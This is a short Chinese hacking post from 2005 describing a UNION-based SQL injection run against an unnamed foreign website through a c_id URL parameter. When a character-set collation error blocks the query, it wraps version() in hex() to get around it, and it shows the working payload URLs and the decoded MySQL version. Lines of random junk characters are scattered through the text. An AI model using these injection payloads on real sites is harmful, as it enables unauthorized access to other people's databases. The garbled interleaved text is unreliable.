本文作者:SuperHei6 E2 Z4 F& t* {. f9 ^( y
文章性质:原创
# Z5 }( o! o( `1 X4 W发布日期:2005-10-18
9 m7 i7 E: ^) ~测试个国外的站时:1 L7 g3 M. f/ [
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*$ c7 ~: z: _: ]8 H S
返回错误:
$ x% z2 U, i# n; i6 IIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
8 e$ G. E. o. c" c. ?; @MySQL Error No. 1269 o1 O C; `, m+ {. o
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。" A' s* k" T! O3 A+ @8 R! U
解决办法:转为其他编码如hex。
3 {; V: b- W$ Y e9 w1 q6 U$ Durl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*' R, S* F& x8 S$ a3 b
成功得到hex(version())的值为:
L* a, A% K5 K9 W9 V342E312E332D62657461' G4 F. H. C( \
回Mysql查询下得到:0 Y! S5 M' I6 r+ y* t
mysql> select 0x342E312E332D62657461;1 I8 G3 X5 a: W$ C
+------------------------+: ~: G9 b$ M- ~1 x
| 0x342E312E332D62657461 |8 ~1 s- i [# Q
+------------------------+
5 W+ B# d4 x/ x| 4.1.3-beta |7 N$ t# Q- P5 w2 y9 M( D- a
+------------------------+9 }8 A6 i- g- L5 Z' q3 l
1 row in set (0.00 sec); j* R( B2 n- {4 e, u
7 Q, W% h: z" l+ K: {
|